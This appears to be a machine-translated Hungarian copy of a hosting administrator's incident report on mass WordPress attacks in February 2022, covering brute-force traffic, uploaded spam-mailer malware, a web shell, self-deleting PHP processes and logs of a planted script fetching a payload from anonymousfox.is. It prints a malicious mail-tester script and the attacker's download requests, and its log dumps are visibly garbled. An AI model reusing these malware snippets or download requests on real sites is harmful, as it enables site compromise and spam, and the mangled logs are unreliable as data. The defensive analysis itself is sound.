Az új sebezhetőségi kihasználások tömeges hack támadásokhoz vezetnek több WordPress-telepítés ellen

A széles körben használt tartalomkezelő rendszerek (CMS), például a WordPress , a Joomla, a Drupal és mások a feltörési kísérletek üdvözlendő célpontjai. Időnként feltörnek egy ilyen CMS-t – többnyire a sebezhetőségi kizsákmányolások miatt. A legtöbb esetben a hibás valójában az érintett CMS webmestere/webhely-adminisztrátora: Egy webalkalmazás javítás nélkül hagyása ugyanaz, mintha soha nem javítanánk ki az operációs rendszert – még könnyebb támadási felülettel.

Sok új sebezhetőségi kizsákmányolás jelent meg

Az elmúlt néhány napban (2022 februárjában) számos új WordPress sebezhetőséget tettek nyilvánosságra, beleértve a szkripteket és a sérülékenységek kihasználásának elméleti bizonyítékait.

Sok új WordPress sebezhetőség 2022 februárjában

Hatalmas brute force támadás február 16-án
Február 16-án este hatalmas mennyiségű kérést fedeztünk fel egy ügyfél megosztott hosting szerverén. Először egy spanyolországi hálózati tartományból származó DOS-támadásra gyanakodtunk (37.120.142.0/24; visszaélésekkel kapcsolatba léptünk). A kérések alapos vizsgálata azonban azt mutatta, hogy nem csak egy webhelyet céloztak meg – sok különböző domaint támadtak meg egyszerre. Minden webhelynek volt egy közös pontja: mindegyik WordPress-t használ.

Az Apache szerver állapotából:

A _ 5.76 16.72 37.120.142.25 http/1.1 example2.de:7081 POST //xmlrpc.php HTTP/1.0
84-1 23213 0/304/1363 W 0.62 12 0 0.0 W 0.62 12 0 0.0 0.62 12 0 0.0 0.62 12 0 0.0 1.4 . //xmlrpc.php HTTP/1.0
87-1 17995 0/399/3266 W 0,89 2 0 0,0 2,58 22,49 37.120.142.25 http/1.1 example4.net:7081 POST 8 1 HTTP
8 A
_ /1.1 example6.ch:7081 POST //xmlrpc.php HTTP/1.0
90-1 31157 0/151/1285 W 0,31 10 0 0,0 0,62 6,26 37.120.142.25 http/1.1 example7.ch:7081 POST //xmlrpc.php
7 W /xmlrpc.php 2,98 4.59 37.120.142.25 http/1.1 példa8.net:7081 POST //XMLRPC.PHP http/1.0
95-1 3906 0/28/648 _ 0,05 0 4536 0,09 0,09 3,45 37.120.142.25 HTTP/1.1 Példakénti példa. /xmlrpc.php HTTP/1.0 96-1
18000 0/373/898 W 0,76 3 0 0,0 2,28 4,95 37.120.142.25 http/1.1 example9.com:7081 POST //wp/login.ph8 HTTP71-2p3
/831/837 W 1,69 2 0 0,0 4,69 4,71 37.120.142.25 http/1.1 example14.ch:7081 POST //wp-login.php HTTP/1.0
100-1 18002 0/409/800 W 0,77 3 0 0,0 2,62 4,60 37.120.142.25 http/1.1 example15.ch:7081 POST //xmlrpc.php
//xmlrpc.php 1,22 4,21 37.120.142.25 http/1.1 example14.ch:7081 POST //wp-login.php HTTP/1.0
102-1 21632 0/333/808 W 0.62 2 0 0.0 0.62 2 0 0.0 2.1 példa 7081 POST //wp-login.php HTTP/1.0 104-1
9498 0/567/866 W 1,18 5 0 0,0 3,07 4,70 37.120.142.25 http/1.1 example10.com:php.1 POST.
1 3915 0/23/759 W 0,11 1 0 0,0 0,10 5,48 37.120.142.25 http/1.1 example11.ch:7080 POST //xmlrpc.php HTTP/1.0
108-1 3917 0/29/588 W 0,07 10 0 0,0 0,12 4,67 37.120.142.25 http/1.1 example12.ch:7081 POST //xmlrpc.php
//xmlrpc.php 0.10 4.50 37.120.142.25 http/1.1 example10.com:7080 POST //xmlrpc.php HTTP/1.0
113-1 3923 0/19/546 W 0,06 0 0 0,0 0,11 0 0 0 0,0 0,11 0,06 0 0 0,0 0,11 0,06 0 0 0,0 0,11 0,06 0 0 0,0 0,11 POST //xmlrpc.php HTTP/1.0
115-1 12306 0/510/725 W 1,08 10 0 0,0 2,76 4,13 37.120.142.25 http/1.1 példa16.ch:708 POST
1 374/709 W 0.71 3 0 0.0 2.28 4.37 37.120.142.25 http/1.1 example17.ch:7081 POST //wp-login.php HTTP/1.0
117-1 9507 0/566/716 W 1.24 8 0 0.0 3.24 4.20 37.120.142.25 http/1.1 example18.ch:7081 POST //wp-login.php
//wp-login.php 0 0.0 2.96 3.85 37.120.142.25 http/1.1 example19.ch:7081 POST //wp-login.php HTTP/1.0
120-1 3925 0/33/529 W 0.09 0/33/529 W 0.09 0/33/529 W 0.09 0/33/529 W 0.09 0/33/529 W 0.09 0/33/529 W 0.09 0/33/529 W 0.09 0 0 0 0.3 példa com:7081 POST //xmlrpc.php HTTP/1.0
121-1 9517 0/578/688 W 1,10 2 0 0,0 3,69 4,34 37.120.142.25 http/1.1 example4.net:7081 HTTP rp1 POST.ph.ph.

Ha tömeges POST kéréseket küld a wp-login.php és xmlrpc.php címre, általában brute force támadást jelez, amely megpróbálja megtalálni a megfelelő hitelesítő adatok kombinációit. Mindkét szkriptnek (alapértelmezés szerint) nincs kapcsolata vagy hamis bejelentkezési korlátja, ezért ezek a támadások üdvözlendő célpontjai.

Megjegyzés: Tekintse meg a kapcsolódó cikket , hogyan védheti meg WordPress-blogját a brute force bejelentkezési támadásokkal szemben .

Ilyen nyers erőszakos támadások rendszeresen előfordulnak egy WordPress-oldalon – de ennek a támadásnak a mértéke meglepett minket. A támadónak rendelkeznie kell egy (globális) WordPress-telepítések adatbázisával.

A támadás csúcspontján a támadás ~13 MB/s (= 104 Mbit/s) sávszélességet használt:

WordPress-telepítések elleni tömeges támadások által használt sávszélesség

Természetesen azonnal blokkoltuk a támadásokat, amint (figyelőnk) felfedeztük őket, de hogy a támadó sikeres volt-e vagy nem, azt csak az idő fogja eldönteni.

Másnap: Több WordPress-telepítés érintett

Másnap találtunk néhány WordPress-telepítést, amelyeket feltörtek. Akár egy biztonsági rést kihasználva, akár a brute-force támadásból származó megfelelő bejelentkezési kombináció megtalálásával. De a sikeres feltörés sok különböző helyzetet eredményezett, hogyan használták fel a megkísérelt hozzáférést.

A klasszikus eset: Spammelés

A klasszikus eset:

Spammelés

Természetesen a spam levelek küldése mindig az egyik cél. Főleg, ha a szerver nem szerepel semmilyen tiltólistán, ez nagyobb (smtp) hitelességet ad a szervernek – de a spammerek számára is érdekesebb. Az egyik WordPress-telepítés során olyan feltöltött fájlokat találtunk, amelyek a Leaf PHP Mailer kártevőt tartalmazzák. Ez a PHP-szkript tömeges e-mailek küldéséről ismert, és még DNSBL-ellenőrzéseket is tartalmaz.

root@server ~ # ll /var/www/vhosts/example4.net/httpdocs/domain/unz.php
-rw-r--r – 1 example4 psacln 166104 február 17. 06:32 /var/www/vhosts/example4 .net/httpdocs/domain/unz.php

root@server ~ # további /var/www/vhosts/example4.net/httpdocs/domain/unz.php
<?php
/**
 * Leaf PHP Mailer, [leafmailer.pw]
 * @verzió : 2.8
**/

$password = ""; // Jelszó
Az unz.php feltöltése előtt egy másik PHP szkriptet (tester.php) töltöttek fel, hogy teszteljék az e-mailek küldési képességét:
root@server # stat tester.php
  Fájl: tester.php
  Méret: 796 Blokk: 8 IO Blokk: 4096 normál fájl
Eszköz: fe02h/65026d Inode: 53901849 Linkek: 1
Hozzáférés: (0644/-rw-r--r – ) Uid: (10026/ példa4) Gid: ( 1005/ psacln)
Hozzáférés: 2022-02-17 02:46:03.546900843 +0100
Módosítás: 2022-02-17 02:45:59.107-2010
Változás 02:45:59.195004007 +0100
 Születés: -

root@server # cat tester.php
<?php
error_reporting(0);
echo '<head>
  <title> E-mail küldést tesztelő</title>
</head>
<body><b><color> E-mail küldést tesztelő</color></b><br>Írja meg e-mailjét, és kattintson az e-mail küldése gombra teszt<

<input type="email" name="email" style="background-color:whitesmoke;border:1px solid #FFF;outline:none;" kötelező="" placeholder="felhasználónév@domain.tld" value="' . $_POST['email'] . '">
<input type="submit" name="send" value="E-mail teszt küldése" style= "border:none;background-color: #65d05e;color:#fff;cursor:pointer;">
</form>
<br>
</body>';
if (isset($_POST['e-mail']))
{
    $rnd = rand();
    mail($_POST['email'],"Email küldése tesztjelentés ID: " . $rnd ,"MŰKÖDIK!");
    print "<font color=orange><b>E-mail elküldve: " . $_POST['e-mail'] . ",
Elemezve, hogy a tester.php hogyan jelent meg a szerveren, egy újabb fájl (local.php) került észlelésre. Közelebbről nézve kiderült, hogy ez egy (gyönyörű) webhéj:

Amint egy ilyen webhéj a szerveren van, a támadó nagyon könnyen tölthet fel további fájlokat, valamint módosíthatja és törölheti a meglévő fájlokat.
De mikor került ez a web shell a szerverre? Egy másik elemzés szerint február 16-án, a tömeges támadás során töltötték fel:

root@server # ls -l local.php
-rw-r--r – 1 example4 psacln 39507 február 16. 22:01 local.php

Nyilvánvaló, hogy a február 16-i támadás nem csak nyers erejű támadás volt. A támadás magában foglalta a sebezhetőségek kihasználását és új fájlok (például webhéjak) feltöltését is.

Egy másik eset: (hurok) szkriptek indítása

Meglehetősen ritka eset a szkriptek végrehajtása, amelyek folyamatként futnak tovább. Ezt a február 16-i támadásokat követően is észlelték:

root@server ~ # ps auxf|grep lock360.php
root 6814 0,0 0,0 6076 832 pts/6 S+ 08:37 0:00 \_ grep – color=auto lock360.php
10207 10279 0,3 6118 0,3 S 07:33 0:03 \_ /opt/plesk/php/7.3/bin/php /var/www/vhosts/example8.net/httpdocs/wp-admin/css/colors/blue/lock360.php

A PID-n a strace használatával láthattuk, hogy a szkript ciklusban fut, így a folyamat életben maradt.

Ebben az esetben érdekes volt, hogy a folyamat HTTP-n keresztül indult:

173.208.202.234 - - [17/Feb/2022:07:33:54 +0100] "GET /wp-admin/css/colors/blue/ lock360.php?action=lock HTTP/1.0" 200 1044 "http:/ /example8.net/wp-admin/css/colors/blue/lock360.php?action=check" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, mint a Gecko) Chrome/98.0.4758.102758.10 Safari/537.36"

Úgy tűnik, hogy ez elindítja a folyamatot, de egyúttal törölte magát a fájlt – ami eltávolítja a fájlrendszerből, de a futó folyamat a memóriában tartja.

További hasonló folyamatokat észleltek a rendszeren, mindegyik hasonló néven:

példa19 2777 0,0 0,0 361108 36436 ? S 04:45 0:03 /opt/plesk/php/7.3/bin/php /var/www/vhosts/example19.ch/httpdocs/l.php example2
5442 0,0 0,0 376740 41028 ? S 06:36 0:01 /opt/plesk/php/5.6/bin/php /var/www/vhosts/example2.de/httpdocs/lock666.php

Sajnos, mivel a fájlokat indításkor azonnal eltávolították a fájlrendszerből, nem tudtuk elemezni. De úgy gondoljuk, hogy ezeknek a folyamatoknak az volt a célja, hogy más távoli szervereket támadjanak meg.

Frissítés: VALÓBAN szerettük volna megtudni, hogy mit csinál a folyamat, ezért belevágtunk a mélyreható elemzésbe. Következő cikkünkben megosztjuk technikai elemzésünket egy folyamatként futó törölt szkriptről, amely a PHP-kódját a memóriából olvassa be .

További szkriptek letöltése

Egy másik módja a feltört WordPress-szel való visszaélésnek, hogy a rosszindulatú fájlokat további fájlok távoli forrásból való letöltésére használja. Itt szépen látható egy feltöltött szkript (up.php) használatával:

62.201.241.20 - - [16/Feb/2022:22:20:38 +0100] " GET /wp-content/plugins/patixrzkax/up.php HTTP/1.0" 200 576 "yahoo.com" "Mozilla/5.0 Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, mint a Gecko) Chrome/90.0.4430.85 Safari/537.36" 62.201.241.20
- - [16/Feb/2022:22:26:w5] -content/plugins/patixrzkax/up.php?php=anonymousfox.is/__@v6PnSVM/p1.txt HTTP/1.0" 200 603 "yahoo.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebK 537.36 (KHTML, mint a Gecko) Chrome/90.0.4430.85 Safari/537.36"
62.201.241.20 - - [16/Feb/2022:22:27:01 +0100] " POST /wp-content/uppati.phrzppakxs ?php=anonymousfox.is/__@v6PnSVM/p1.txtHTTP/1.0" 200 649 "yahoo.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, mint a Gecko) Chrome/90.0.4430.85 Safari/537.36"

Különösen bosszantó itt az a tény, hogy az anonymousfox.is domain egy CloudFlare proxy mögött található. A kimenő kérések blokkolása a Cloudflare tartományokhoz lehetséges, de valószínűleg más (működő és legális) alkalmazások is szenvednének.

A WordPress sebezhetőségeinek észlelése

Szerencsére van néhány nagyon jó (nyílt forráskódú) sebezhetőség-ellenőrző, amelyek segítenek felfedezni az (ismert) WordPress sebezhetőségeket. Az egyik leggyakrabban használt szkenner a wpscan , másik jó szkenner a Pompem . Bár az utóbbit évek óta nem frissítették, még mindig működik a közelmúltbeli sebezhetőségek észlelésében.

Annak ellenére, hogy ez a WordPress-telepítés frissült (valószínűleg 2022 januárjában, ahogy a kimenet is sugallja), ez nem volt elég ahhoz, hogy lépést tartsunk a legutóbbi sebezhetőségekkel . Valójában minden WordPress-telepítésnél kötelező a heti frissítés. De ahogy fentebb írtuk: Ez egy felelős webhely-adminisztrátortól függ.

Forrás: https://www.claudiokuenzler.com/blog/1182/wordpress-mass-attacks-february-2022-many-vulnerabilities

Comments are closed.